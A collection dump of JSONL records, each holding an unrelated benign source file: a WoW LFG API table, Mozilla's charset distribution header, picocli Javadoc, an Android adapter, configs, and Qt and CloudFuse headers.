\"number\", Nilable = false },\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tName = \"LfgListApplicationStatusUpdated\",\n\t\t\tType = \"Event\",\n\t\t\tLiteralName = \"LFG_LIST_APPLICATION_STATUS_UPDATED\",\n\t\t\tPayload =\n\t\t\t{\n\t\t\t\t{ Name = \"searchResultID\", Type = \"number\", Nilable = false },\n\t\t\t\t{ Name = \"newStatus\", Type = \"string\", Nilable = false },\n\t\t\t\t{ Name = \"oldStatus\", Type = \"string\", Nilable = false },\n\t\t\t\t{ Name = \"groupName\", Type = \"string\", Nilable = false },\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tName = \"LfgListAvailabilityUpdate\",\n\t\t\tType = \"Event\",\n\t\t\tLiteralName = \"LFG_LIST_AVAILABILITY_UPDATE\",\n\t\t},\n\t\t{\n\t\t\tName = \"LfgListEntryCreationFailed\",\n\t\t\tType = \"Event\",\n\t\t\tLiteralName = \"LFG_LIST_ENTRY_CREATION_FAILED\",\n\t\t},\n\t\t{\n\t\t\tName = \"LfgListEntryExpiredTimeout\",\n\t\t\tType = \"Event\",\n\t\t\tLiteralName = \"LFG_LIST_ENTRY_EXPIRED_TIMEOUT\",\n\t\t},\n\t\t{\n\t\t\tName = \"LfgListEntryExpiredTooManyPlayers\",\n\t\t\tType = \"Event\",\n\t\t\tLiteralName = \"LFG_LIST_ENTRY_EXPIRED_TOO_MANY_PLAYERS\",\n\t\t},\n\t\t{\n\t\t\tName = \"LfgListJoinedGroup\",\n\t\t\tType = \"Event\",\n\t\t\tLiteralName = \"LFG_LIST_JOINED_GROUP\",\n\t\t\tPayload =\n\t\t\t{\n\t\t\t\t{ Name = \"searchResultID\", Type = \"number\", Nilable = false },\n\t\t\t\t{ Name = \"groupName\", Type = \"string\", Nilable = false },\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tName = \"LfgListSearchFailed\",\n\t\t\tType = \"Event\",\n\t\t\tLiteralName = \"LFG_LIST_SEARCH_FAILED\",\n\t\t\tPayload =\n\t\t\t{\n\t\t\t\t{ Name = \"reason\", Type = \"string\", Nilable = true },\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tName = \"LfgListSearchResultUpdated\",\n\t\t\tType = \"Event\",\n\t\t\tLiteralName = \"LFG_LIST_SEARCH_RESULT_UPDATED\",\n\t\t\tPayload =\n\t\t\t{\n\t\t\t\t{ Name = \"searchResultID\", Type = \"number\", Nilable = false },\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tName = \"LfgListSearchResultsReceived\",\n\t\t\tType = \"Event\",\n\t\t\tLiteralName = \"LFG_LIST_SEARCH_RESULTS_RECEIVED\",\n\t\t},\n\t},\n\n\tTables =\n\t{\n\t\t{\n\t\t\tName = \"LfgApplicantData\",\n\t\t\tType = \"Structure\",\n\t\t\tFields =\n\t\t\t{\n\t\t\t\t{ Name = \"applicantID\", Type = \"number\", Nilable = false },\n\t\t\t\t{ Name = \"applicationStatus\", Type = \"string\", Nilable = false },\n\t\t\t\t{ Name = \"pendingApplicationStatus\", Type = \"string\", Nilable = true },\n\t\t\t\t{ Name = \"numMembers\", Type = \"number\", Nilable = false },\n\t\t\t\t{ Name = \"isNew\", Type = \"bool\", Nilable = false },\n\t\t\t\t{ Name = \"comment\", Type = \"string\", Nilable = false },\n\t\t\t\t{ Name = \"displayOrderID\", Type = \"number\", Nilable = false },\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tName = \"LfgEntryData\",\n\t\t\tType = \"Structure\",\n\t\t\tFields =\n\t\t\t{\n\t\t\t\t{ Name = \"activityID\", Type = \"number\", Nilable = false },\n\t\t\t\t{ Name = \"requiredItemLevel\", Type = \"number\", Nilable = false },\n\t\t\t\t{ Name = \"requiredHonorLevel\", Type = \"number\", Nilable = false },\n\t\t\t\t{ Name = \"name\", Type = \"string\", Nilable = false },\n\t\t\t\t{ Name = \"comment\", Type = \"string\", Nilable = false },\n\t\t\t\t{ Name = \"voiceChat\", Type = \"string\", Nilable = false },\n\t\t\t\t{ Name = \"duration\", Type = \"number\", Nilable = false },\n\t\t\t\t{ Name = \"autoAccept\", Type = \"bool\", Nilable = false },\n\t\t\t\t{ Name = \"privateGroup\", Type = \"bool\", Nilable = false },\n\t\t\t\t{ Name = \"questID\", Type = \"number\", Nilable = true },\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tName = \"LfgSearchResultData\",\n\t\t\tType = \"Structure\",\n\t\t\tFields =\n\t\t\t{\n\t\t\t\t{ Name = \"searchResultID\", Type = \"number\", Nilable = false },\n\t\t\t\t{ Name = \"activityID\", Type = \"number\", Nilable = false },\n\t\t\t\t{ Name = \"leaderName\", Type = \"string\", Nilable = true },\n\t\t\t\t{ Name = \"name\", Type = \"string\", Nilable = false },\n\t\t\t\t{ Name = \"comment\", Type = \"string\", Nilable = false },\n\t\t\t\t{ Name = \"voiceChat\", Type = \"string\", Nilable = false },\n\t\t\t\t{ Name = \"requiredItemLevel\", Type = \"number\", Nilable = false },\n\t\t\t\t{ Name = \"requiredHonorLevel\", Type = \"number\", Nilable = false },\n\t\t\t\t{ Name = \"numMembers\", Type = \"number\", Nilable = false },\n\t\t\t\t{ Name = \"numBNetFriends\", Type = \"number\", Nilable = false },\n\t\t\t\t{ Name = \"numCharFriends\", Type = \"number\", Nilable = false },\n\t\t\t\t{ Name = \"numGuildMates\", Type = \"number\", Nilable = false },\n\t\t\t\t{ Name = \"isDelisted\", Type = \"bool\", Nilable = false },\n\t\t\t\t{ Name = \"autoAccept\", Type = \"bool\", Nilable = false },\n\t\t\t\t{ Name = \"age\", Type = \"number\", Nilable = false },\n\t\t\t\t{ Name = \"questID\", Type = \"number\", Nilable = true },\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tName = \"WowLocale\",\n\t\t\tType = \"Structure\",\n\t\t\tFields =\n\t\t\t{\n\t\t\t\t{ Name = \"enUS\", Type = \"bool\", Nilable = false, Default = false },\n\t\t\t\t{ Name = \"koKR\", Type = \"bool\", Nilable = false, Default = false },\n\t\t\t\t{ Name = \"frFR\", Type = \"bool\", Nilable = false, Default = false },\n\t\t\t\t{ Name = \"deDE\", Type = \"bool\", Nilable = false, Default = false },\n\t\t\t\t{ Name = \"zhCN\", Type = \"bool\", Nilable = false, Default = false },\n\t\t\t\t{ Name = \"zhTW\", Type = \"bool\", Nilable = false, Default = false },\n\t\t\t\t{ Name = \"esES\", Type = \"bool\", Nilable = false, Default = false },\n\t\t\t\t{ Name = \"esMX\", Type = \"bool\", Nilable = false, Default = false },\n\t\t\t\t{ Name = \"ruRU\", Type = \"bool\", Nilable = false, Default = false },\n\t\t\t\t{ Name = \"ptBR\", Type = \"bool\", Nilable = false, Default = false },\n\t\t\t\t{ Name = \"itIT\", Type = \"bool\", Nilable = false, Default = false },\n\t\t\t},\n\t\t},\n\t},\n};\n\nAPIDocumentation:AddDocumentationTable(LFGListInfo);"} +{"text": "/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */\n/* ***** BEGIN LICENSE BLOCK *****\n * Version: MPL 1.1/GPL 2.0/LGPL 2.1\n *\n * The contents of this file are subject to the Mozilla Public License Version\n * 1.1 (the \"License\"); you may not use this file except in compliance with\n * the License. You may obtain a copy of the License at\n * http://www.mozilla.org/MPL/\n *\n * Software distributed under the License is distributed on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License\n * for the specific language governing rights and limitations under the\n * License.\n *\n * The Original Code is Mozilla Communicator client code.\n *\n * The Initial Developer of the Original Code is\n * Netscape Communications Corporation.\n * Portions created by the Initial Developer are Copyright (C) 1998\n * the Initial Developer. All Rights Reserved.\n *\n * Contributor(s):\n *\n * Alternatively, the contents of this file may be used under the terms of\n * either the GNU General Public License Version 2 or later (the \"GPL\"), or\n * the GNU Lesser General Public License Version 2.1 or later (the \"LGPL\"),\n * in which case the provisions of the GPL or the LGPL are applicable instead\n * of those above. If you wish to allow use of your version of this file only\n * under the terms of either the GPL or the LGPL, and not to allow others to\n * use your version of this file under the terms of the MPL, indicate your\n * decision by deleting the provisions above and replace them with the notice\n * and other provisions required by the GPL or the LGPL. If you do not delete\n * the provisions above, a recipient may use your version of this file under\n * the terms of any one of the MPL, the GPL or the LGPL.\n *\n * ***** END LICENSE BLOCK ***** */\n\n#ifndef CharDistribution_h__\n#define CharDistribution_h__\n\n#include \"nscore.h\"\n\n#define ENOUGH_DATA_THRESHOLD 1024\n \nclass CharDistributionAnalysis\n{\npublic:\n CharDistributionAnalysis() {Reset();};\n\n //feed a block of data and do distribution analysis\n void HandleData(const char* aBuf, PRUint32 aLen) {};\n \n //Feed a character with known length\n void HandleOneChar(const char* aStr, PRUint32 aCharLen)\n {\n PRInt32 order;\n\n //we only care about 2-bytes character in our distribution analysis\n order = (aCharLen == 2) ? GetOrder(aStr) : -1;\n\n if (order >= 0)\n {\n mTotalChars++;\n //order is valid\n if ((PRUint32)order < mTableSize)\n {\n if (512 > mCharToFreqOrder[order])\n mFreqChars++;\n }\n }\n };\n\n //return confidence base on existing data\n float GetConfidence();\n\n //Reset analyser, clear any state \n void Reset(void) \n {\n mDone = PR_FALSE;\n mTotalChars = 0;\n mFreqChars = 0;\n };\n\n //This function is for future extension. Caller can use this function to control\n //analyser's behavior\n void SetOpion(){};\n\n //It is not necessary to receive all data to draw conclusion. For charset detection,\n // certain amount of data is enough\n PRBool GotEnoughData() {return mTotalChars > ENOUGH_DATA_THRESHOLD;};\n\nprotected:\n //we do not handle character base on its original encoding string, but \n //convert this encoding string to a number, here called order.\n //This allow multiple encoding of a language to share one frequency table \n virtual PRInt32 GetOrder(const char* str) {return -1;};\n \n //If this flag is set to PR_TRUE, detection is done and conclusion has been made\n PRBool mDone;\n\n //The number of characters whose frequency order is less than 512\n PRUint32 mFreqChars;\n\n //Total character encounted.\n PRUint32 mTotalChars;\n\n //Mapping table to get frequency order from char order (get from GetOrder())\n const PRInt16 *mCharToFreqOrder;\n\n //Size of above table\n PRUint32 mTableSize;\n\n //This is a constant value varies from language to language, it is used in \n //calculating confidence. See my paper for further detail.\n float mTypicalDistributionRatio;\n};\n\n\nclass EUCTWDistributionAnalysis: public CharDistributionAnalysis\n{\npublic:\n EUCTWDistributionAnalysis();\nprotected:\n\n //for euc-TW encoding, we are interested \n // first byte range: 0xc4 -- 0xfe\n // second byte range: 0xa1 -- 0xfe\n //no validation needed here. State machine has done that\n PRInt32 GetOrder(const char* str) \n { if ((unsigned char)*str >= (unsigned char)0xc4) \n return 94*((unsigned char)str[0]-(unsigned char)0xc4) + (unsigned char)str[1] - (unsigned char)0xa1;\n else\n return -1;\n };\n};\n\n\nclass EUCKRDistributionAnalysis : public CharDistributionAnalysis\n{\npublic:\n EUCKRDistributionAnalysis();\nprotected:\n //for euc-KR encoding, we are interested \n // first byte range: 0xb0 -- 0xfe\n // second byte range: 0xa1 -- 0xfe\n //no validation needed here. State machine has done that\n PRInt32 GetOrder(const char* str) \n { if ((unsigned char)*str >= (unsigned char)0xb0) \n return 94*((unsigned char)str[0]-(unsigned char)0xb0) + (unsigned char)str[1] - (unsigned char)0xa1;\n else\n return -1;\n };\n};\n\nclass GB2312DistributionAnalysis : public CharDistributionAnalysis\n{\npublic:\n GB2312DistributionAnalysis();\nprotected:\n //for GB2312 encoding, we are interested \n // first byte range: 0xb0 -- 0xfe\n // second byte range: 0xa1 -- 0xfe\n //no validation needed here. State machine has done that\n PRInt32 GetOrder(const char* str) \n { if ((unsigned char)*str >= (unsigned char)0xb0 && (unsigned char)str[1] >= (unsigned char)0xa1) \n return 94*((unsigned char)str[0]-(unsigned char)0xb0) + (unsigned char)str[1] - (unsigned char)0xa1;\n else\n return -1;\n };\n};\n\n\nclass Big5DistributionAnalysis : public CharDistributionAnalysis\n{\npublic:\n Big5DistributionAnalysis();\nprotected:\n //for big5 encoding, we are interested \n // first byte range: 0xa4 -- 0xfe\n // second byte range: 0x40 -- 0x7e , 0xa1 -- 0xfe\n //no validation needed here. State machine has done that\n PRInt32 GetOrder(const char* str) \n { if ((unsigned char)*str >= (unsigned char)0xa4) \n if ((unsigned char)str[1] >= (unsigned char)0xa1)\n return 157*((unsigned char)str[0]-(unsigned char)0xa4) + (unsigned char)str[1] - (unsigned char)0xa1 +63;\n else\n return 157*((unsigned char)str[0]-(unsigned char)0xa4) + (unsigned char)str[1] - (unsigned char)0x40;\n else\n return -1;\n };\n};\n\nclass SJISDistributionAnalysis : public CharDistributionAnalysis\n{\npublic:\n SJISDistributionAnalysis();\nprotected:\n //for sjis encoding, we are interested \n // first byte range: 0x81 -- 0x9f , 0xe0 -- 0xfe\n // second byte range: 0x40 -- 0x7e, 0x81 -- oxfe\n //no validation needed here. State machine has done that\n PRInt32 GetOrder(const char* str) \n { \n PRInt32 order;\n if ((unsigned char)*str >= (unsigned char)0x81 && (unsigned char)*str <= (unsigned char)0x9f) \n order = 188 * ((unsigned char)str[0]-(unsigned char)0x81);\n else if ((unsigned char)*str >= (unsigned char)0xe0 && (unsigned char)*str <= (unsigned char)0xef) \n order = 188 * ((unsigned char)str[0]-(unsigned char)0xe0 + 31);\n else\n return -1;\n order += (unsigned char)*(str+1) - 0x40;\n if ((unsigned char)str[1] > (unsigned char)0x7f)\n order--;\n return order;\n };\n};\n\nclass EUCJPDistributionAnalysis : public CharDistributionAnalysis\n{\npublic:\n EUCJPDistributionAnalysis();\nprotected:\n //for euc-JP encoding, we are interested \n // first byte range: 0xa0 -- 0xfe\n // second byte range: 0xa1 -- 0xfe\n //no validation needed here. State machine has done that\n PRInt32 GetOrder(const char* str) \n { if ((unsigned char)*str >= (unsigned char)0xa0) \n return 94*((unsigned char)str[0]-(unsigned char)0xa1) + (unsigned char)str[1] - (unsigned char)0xa1;\n else\n return -1;\n };\n};\n\n#endif //CharDistribution_h__\n\n"} +{"text": "\n\n\n\n\nCommandLine.ParseResult (picocli 4.5.1 API)\n\n\n\n\n\n\n\n\n
    \n\n\n\n
    \n\n
    \n
    \n
      \n
    • Summary: 
    • \n
    • Nested | 
    • \n
    • Field | 
    • \n
    • Constr | 
    • \n
    • Method
    • \n
    \n
      \n
    • Detail: 
    • \n
    • Field | 
    • \n
    • Constr | 
    • \n
    • Method
    • \n
    \n
    \n\n\n
    \n\n\n
    \n
    picocli
    \n

    Class CommandLine.ParseResult

    \n
    \n
    \n\n
    \n
      \n
    • \n
      \n
      Enclosing class:
      \n
      CommandLine
      \n
      \n
      \n
      \n
      public static class CommandLine.ParseResult\nextends Object
      \n
      Encapsulates the result of parsing an array of command line arguments.
      \n
      \n
      Since:
      \n
      3.0
      \n
      \n
    • \n
    \n
    \n
    \n\n
    \n
    \n
      \n
    • \n\n
        \n
      • \n\n\n

        Method Detail

        \n\n\n\n\n\n\n\n\n\n\n\n
          \n
        • \n

          getGroupMatches

          \n
          public List<CommandLine.ParseResult.GroupMatch> getGroupMatches()
          \n
          Returns the top-level container for the ArgGroupSpec match or matches found.\n

          \n If the user input was a valid combination of group arguments, the returned list should contain a single\n match. Details of the matched groups encountered\n on the command line can be obtained via its matchedSubgroups() method.\n The top-level match returned by this method contains no matched arguments.\n

          \n If the returned list contains more than one match, the user input was invalid:\n the maximum multiplicity of a group was exceeded, and the parser created an extra\n match to capture the values. Usually this results in a ParameterException\n being thrown by the parse method, unless the parser is configured to collect errors.\n

          \n
          \n
          Since:
          \n
          4.0
          \n
          \n
        • \n
        \n\n\n\n
          \n
        • \n

          matchedOption

          \n
          public CommandLine.Model.OptionSpec matchedOption(char shortName)
          \n
          Returns the option with the specified short name, or null if no option with that name was matched\n on the command line.\n

          Use getValue on the returned OptionSpec to get the matched value (or values),\n converted to the type of the option. Alternatively, use stringValues\n to get the matched String values after they were split into parts, or\n originalStringValues to get the original String values that were\n matched on the command line, before any processing.\n

          To get the default value of an option that was\n not matched on the command line, use\n parseResult.commandSpec().findOption(shortName).getValue().

          \n
          \n
          See Also:
          \n
          CommandLine.Model.CommandSpec.findOption(char)
          \n
          \n
        • \n
        \n\n\n\n
          \n
        • \n

          matchedOption

          \n
          public CommandLine.Model.OptionSpec matchedOption(String name)
          \n
          Returns the option with the specified name, or null if no option with that name was matched on the command line.\n

          Use getValue on the returned OptionSpec to get the matched value (or values),\n converted to the type of the option. Alternatively, use stringValues\n to get the matched String values after they were split into parts, or\n originalStringValues to get the original String values that were\n matched on the command line, before any processing.\n

          To get the default value of an option that was\n not matched on the command line, use\n parseResult.commandSpec().findOption(String).getValue().

          \n
          \n
          Parameters:
          \n
          name - used to search the matched options. May be an alias of the option name that was actually specified on the command line.\n The specified name may include option name prefix characters or not.
          \n
          See Also:
          \n
          CommandLine.Model.CommandSpec.findOption(String)
          \n
          \n
        • \n
        \n\n\n\n
          \n
        • \n

          matchedPositional

          \n
          public CommandLine.Model.PositionalParamSpec matchedPositional(int position)
          \n
          Returns the first PositionalParamSpec that matched an argument at the specified position, or null if no positional parameters were matched at that position.
          \n
        • \n
        \n\n\n\n
          \n
        • \n

          matchedPositionals

          \n
          public List<CommandLine.Model.PositionalParamSpec> matchedPositionals(int position)
          \n
          Returns all PositionalParamSpec objects that matched an argument at the specified position, or an empty list if no positional parameters were matched at that position.
          \n
        • \n
        \n\n\n\n\n\n\n\n
          \n
        • \n

          hasMatchedOption

          \n
          public boolean hasMatchedOption(char shortName)
          \n
          Returns whether an option whose aliases include the specified short name was matched on the command line.
          \n
          \n
          Parameters:
          \n
          shortName - used to search the matched options. May be an alias of the option name that was actually specified on the command line.
          \n
          \n
        • \n
        \n\n\n\n
          \n
        • \n

          hasMatchedOption

          \n
          public boolean hasMatchedOption(String name)
          \n
          Returns whether an option whose aliases include the specified name was matched on the command line.
          \n
          \n
          Parameters:
          \n
          name - used to search the matched options. May be an alias of the option name that was actually specified on the command line.\n The specified name may include option name prefix characters or not.
          \n
          \n
        • \n
        \n\n\n\n
          \n
        • \n

          hasMatchedOption

          \n
          public boolean hasMatchedOption(CommandLine.Model.OptionSpec option)
          \n
          Returns whether the specified option was matched on the command line.
          \n
        • \n
        \n\n\n\n
          \n
        • \n

          hasMatchedPositional

          \n
          public boolean hasMatchedPositional(int position)
          \n
          Returns whether a positional parameter was matched at the specified position.
          \n
        • \n
        \n\n\n\n
          \n
        • \n

          hasMatchedPositional

          \n
          public boolean hasMatchedPositional(CommandLine.Model.PositionalParamSpec positional)
          \n
          Returns whether the specified positional parameter was matched on the command line.
          \n
        • \n
        \n\n\n\n\n\n\n\n
          \n
        • \n

          matchedOptions

          \n
          public List<CommandLine.Model.OptionSpec> matchedOptions()
          \n
          Returns a list of matched options, in order they were matched on the command line.\n The returned list may contain the same OptionSpec multiple times, if the option was matched multiple times on the command line.
          \n
        • \n
        \n\n\n\n\n\n\n\n
          \n
        • \n

          matchedPositionals

          \n
          public List<CommandLine.Model.PositionalParamSpec> matchedPositionals()
          \n
          Returns a list of matched positional parameters, in order they were matched on the command line.\n The returned list may contain the same PositionalParamSpec multiple times, if the parameter was matched multiple times on the command line.
          \n
        • \n
        \n\n\n\n
          \n
        • \n

          matchedArgs

          \n
          public List<CommandLine.Model.ArgSpec> matchedArgs()
          \n
          Returns a list of matched options and positional parameters, in order they were matched on the command line.\n The returned list may contain an OptionSpec or PositionalParamSpec multiple times, if the option or parameter was matched multiple times on the command line.
          \n
          \n
          Since:
          \n
          4.0
          \n
          \n
        • \n
        \n\n\n\n
          \n
        • \n

          unmatched

          \n
          public List<String> unmatched()
          \n
          Returns a list of command line arguments that did not match any options or positional parameters.
          \n
        • \n
        \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
          \n
        • \n

          matchedOptionValue

          \n
          public <T> T matchedOptionValue(char shortName,\n                                T defaultValue)
          \n
          Returns the command line argument value of the option with the specified name, converted to the type of the option, or the specified default value if no option with the specified name was matched.
          \n
        • \n
        \n\n\n\n\n\n
          \n
        • \n

          matchedOptionValue

          \n
          public <T> T matchedOptionValue(String name,\n                                T defaultValue)
          \n
          Returns the command line argument value of the option with the specified name, converted to the type of the option, or the specified default value if no option with the specified name was matched.
          \n
        • \n
        \n\n\n\n\n\n
          \n
        • \n

          matchedPositionalValue

          \n
          public <T> T matchedPositionalValue(int position,\n                                    T defaultValue)
          \n
          Returns the command line argument value of the positional parameter at the specified position, converted to the type of the positional parameter, or the specified default value if no positional parameter was matched at that position.
          \n
        • \n
        \n\n\n\n
          \n
        • \n

          hasSubcommand

          \n
          public boolean hasSubcommand()
          \n
          Returns true if a subcommand was matched on the command line, false otherwise.
          \n
        • \n
        \n\n\n\n
          \n
        • \n

          subcommand

          \n
          public CommandLine.ParseResult subcommand()
          \n
          Returns the ParseResult for the last subcommand of this command that was matched on the command line, or null if no subcommand was matched.
          \n
        • \n
        \n\n\n\n
          \n
        • \n

          subcommands

          \n
          public List<CommandLine.ParseResult> subcommands()
          \n
          Returns a list with the ParseResult objects for each subcommand of this command\n that was matched on the command line or an empty list if no subcommands were matched.\n The returned list can only contain multiple values if this command's subcommandsRepeatable attribute is true.
          \n
          \n
          Since:
          \n
          4.2
          \n
          \n
        • \n
        \n\n\n\n
          \n
        • \n

          isUsageHelpRequested

          \n
          public boolean isUsageHelpRequested()
          \n
          Returns true if one of the options that was matched on the command line is a usageHelp option.
          \n
        • \n
        \n\n\n\n
          \n
        • \n

          isVersionHelpRequested

          \n
          public boolean isVersionHelpRequested()
          \n
          Returns true if one of the options that was matched on the command line is a versionHelp option.
          \n
        • \n
        \n\n\n\n
          \n
        • \n

          asCommandLineList

          \n
          public List<CommandLine> asCommandLineList()
          \n
          Returns this ParseResult as a list of CommandLine objects, one for each matched command/subcommand.\n Note that for repeatable subcommands, there may be multiple commands at each level of the hierarchy in the returned list.
          \n
          \n
          Since:
          \n
          3.0
          \n
          \n
        • \n
        \n
      • \n
      \n
    • \n
    \n
    \n
    \n\n\n\n
    \n\n\n\n
    \n\n
    \n
    \n
      \n
    • Summary: 
    • \n
    • Nested | 
    • \n
    • Field | 
    • \n
    • Constr | 
    • \n
    • Method
    • \n
    \n
      \n
    • Detail: 
    • \n
    • Field | 
    • \n
    • Constr | 
    • \n
    • Method
    • \n
    \n
    \n\n\n
    \n\n\n\n"} +{"text": "package com.materialdoc.ui.adapter;\n\nimport android.support.annotation.NonNull;\nimport android.support.v4.app.Fragment;\nimport android.support.v4.app.FragmentManager;\nimport android.support.v4.app.FragmentStatePagerAdapter;\n\nimport com.materialdoc.ui.fragment.TabFragment;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\npublic class TabAdapter extends FragmentStatePagerAdapter {\n\n private List mTitleList;\n\n public TabAdapter(@NonNull FragmentManager manager, @NonNull List titleList) {\n super(manager);\n mTitleList = new ArrayList<>();\n mTitleList.addAll(titleList);\n }\n\n\n @Override\n public int getCount() {\n return mTitleList.size();\n }\n\n @Override\n public Fragment getItem(int position) {\n return TabFragment.newInstance();\n }\n\n @Override\n public CharSequence getPageTitle(int position) {\n if (!mTitleList.isEmpty()) {\n return mTitleList.get(position);\n } else {\n return null;\n }\n }\n}\n\n"} +{"text": "open System.Drawing\n\nlet X = 10\n\nlet Inc x = x + 1\n\nlet MakePoint x y = new Point(x, y)"} +{"text": "#import \n\nint main() {\n\tNSLog(@\"Hello, world!\");\n\treturn 0;\n}\n"} +{"text": "#!/usr/bin/env python\n\n# Copyright (c) 2009 Google Inc. All rights reserved.\n# Use of this source code is governed by a BSD-style license that can be\n# found in the LICENSE file.\n\n\"\"\"\nVerifies that toolsets are correctly applied\n\"\"\"\n\nimport TestGyp\n\n# Multiple toolsets are currently only supported by the make generator.\ntest = TestGyp.TestGyp(formats=['make'])\n\ntest.run_gyp('toolsets.gyp')\n\ntest.build('toolsets.gyp', test.ALL)\n\ntest.run_built_executable('host-main', stdout=\"Host\\n\")\ntest.run_built_executable('target-main', stdout=\"Target\\n\")\n\ntest.pass_test()\n"} +{"text": "{\n \"compilerOptions\": {\n \"target\": \"es5\",\n \"module\": \"es2015\",\n \"moduleResolution\": \"node\",\n \"strict\": true,\n \"noEmit\": true,\n \"lib\": [\n \"es6\",\n \"dom\"\n ]\n },\n \"include\": [\n \"*.ts\",\n \"../*.d.ts\"\n ]\n}\n"} +{"text": "#define DTC_VERSION \"DTC 1.4.5-gc1e55a55\"\n"} +{"text": "Open *demo.html* to see a list of all the glyphs in your font along with their codes/ligatures.\n\nYou won't need any of the files located under the *demo-files* directory when including the generated font in your own projects.\n\nYou can import *selection.json* back to the IcoMoon app using the *Import Icons* button (or via Main Menu > Manage Projects) to retrieve your icon selection.\n"} +{"text": "module.exports = {\n baseUrl: '/',\n outputDir: 'dist',\n filenameHashing: false,\n chainWebpack: config => {\n //config.plugins.delete('html')\n config.plugins.delete('preload')\n config.plugins.delete('prefetch')\n },\n configureWebpack: {\n externals: {\n vue: \"Vue\",\n vuex: \"Vuex\",\n \"vue-router\": \"VueRouter\",\n \"element-ui\": \"ELEMENT\"\n }\n },\n devServer: {\n proxy: {\n '/api': {\n //target: 'http://103.27.4.146:3001',\n target: 'http://localhost:3001',\n changeOrigin: true\n }\n }\n }\n}\n"} +{"text": "#ifndef _CLOUDFSAPI_H\n#define _CLOUDFSAPI_H\n\n#include \n#include \n\n#define BUFFER_INITIAL_SIZE 4096\n#define MAX_HEADER_SIZE 8192\n#define MAX_PATH_SIZE (1024 + 256 + 3)\n#define MAX_URL_SIZE (MAX_PATH_SIZE * 3)\n#define USER_AGENT \"CloudFuse\"\n\ntypedef struct curl_slist curl_slist;\n\ntypedef struct dir_entry\n{\n char *name;\n char *full_name;\n char *content_type;\n off_t size;\n time_t last_modified;\n int isdir;\n struct dir_entry *next;\n} dir_entry;\n\nvoid cloudfs_init();\nvoid cloudfs_set_credentials(char *username, char *tenant, char *password,\n char *authurl, char *region, int use_snet);\nint cloudfs_connect();\nint cloudfs_tenant_info(struct statvfs *stat);\nint cloudfs_object_read_fp(const char *path, FILE *fp);\nint cloudfs_object_write_fp(const char *path, FILE *fp);\nint cloudfs_list_directory(const char *path, dir_entry **);\nint cloudfs_delete_object(const char *path);\nint cloudfs_copy_object(const char *src, const char *dst);\nint cloudfs_create_directory(const char *label);\nint cloudfs_object_truncate(const char *path, off_t size);\noff_t cloudfs_file_size(int fd);\nvoid cloudfs_debug(int dbg);\nvoid cloudfs_verify_ssl(int dbg);\nvoid cloudfs_free_dir_list(dir_entry *dir_list);\n\nvoid debugf(char *fmt, ...);\n#endif\n\n"} +{"text": "\nopen System.Net\nopen System.IO\nopen System.Globalization"} +{"text": "\n\n\n\n\n \n \n \n\n \n \n \n\n"} +{"text": "/****************************************************************************\n**\n** Copyright (C) 2015 The Qt Company Ltd.\n** Contact: http://www.qt.io/licensing/\n**\n** This file is part of the QtDeclarative module of the Qt Toolkit.\n**\n** $QT_BEGIN_LICENSE:LGPL$\n** Commercial License Usage\n** Licensees holding valid commercial Qt licenses may use this file in\n** accordance with the commercial license agreement provided with the\n** Software or, alternatively, in accordance with the terms contained in\n** a written agreement between you and The Qt Company. For licensing terms\n** and conditions see http://www.qt.io/terms-conditions. For further\n** information use the contact form at http://www.qt.io/contact-us.\n**\n** GNU Lesser General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 or version 3 as published by the Free\n** Software Foundation and appearing in the file LICENSE.LGPLv21 and\n** LICENSE.LGPLv3 included in the packaging of this file. Please review the\n** following information to ensure the GNU Lesser General Public License\n** requirements will be met: https://www.gnu.org/licenses/lgpl.html and\n** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.\n**\n** As a special exception, The Qt Company gives you certain additional\n** rights. These rights are described in The Qt Company LGPL Exception\n** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.\n**\n** GNU General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU\n** General Public License version 3.0 as published by the Free Software\n** Foundation and appearing in the file LICENSE.GPL included in the\n** packaging of this file. Please review the following information to\n** ensure the GNU General Public License version 3.0 requirements will be\n** met: http://www.gnu.org/copyleft/gpl.html.\n**\n** $QT_END_LICENSE$\n**\n****************************************************************************/\n\n#ifndef QDECLARATIVETEXTINPUT_P_H\n#define QDECLARATIVETEXTINPUT_P_H\n\n#include \"private/qdeclarativetextinput_p.h\"\n\n#include \"private/qdeclarativeimplicitsizeitem_p_p.h\"\n\n#include \n\n#include \n\n#include \n\n//\n// W A R N I N G\n// -------------\n//\n// This file is not part of the Qt API. It exists purely as an\n// implementation detail. This header file may change from version to\n// version without notice, or even be removed.\n//\n// We mean it.\n\n#ifndef QT_NO_LINEEDIT\n\nQT_BEGIN_NAMESPACE\n\nclass Q_AUTOTEST_EXPORT QDeclarativeTextInputPrivate : public QDeclarativeImplicitSizePaintedItemPrivate\n{\n Q_DECLARE_PUBLIC(QDeclarativeTextInput)\npublic:\n QDeclarativeTextInputPrivate() : control(new QLineControl),\n color((QRgb)0), style(QDeclarativeText::Normal),\n styleColor((QRgb)0), hAlign(QDeclarativeTextInput::AlignLeft),\n mouseSelectionMode(QDeclarativeTextInput::SelectCharacters), inputMethodHints(Qt::ImhNone),\n hscroll(0), oldScroll(0), oldValidity(false), focused(false), focusOnPress(true),\n showInputPanelOnFocus(true), clickCausedFocus(false), cursorVisible(false),\n autoScroll(true), selectByMouse(false), canPaste(false), hAlignImplicit(true),\n selectPressed(false)\n {\n#ifdef Q_OS_SYMBIAN\n if (QSysInfo::symbianVersion() >= QSysInfo::SV_SF_1) {\n showInputPanelOnFocus = false;\n }\n#endif\n\n }\n\n ~QDeclarativeTextInputPrivate()\n {\n }\n\n int xToPos(int x, QTextLine::CursorPosition betweenOrOn = QTextLine::CursorBetweenCharacters) const\n {\n Q_Q(const QDeclarativeTextInput);\n QRect cr = q->boundingRect().toRect();\n x-= 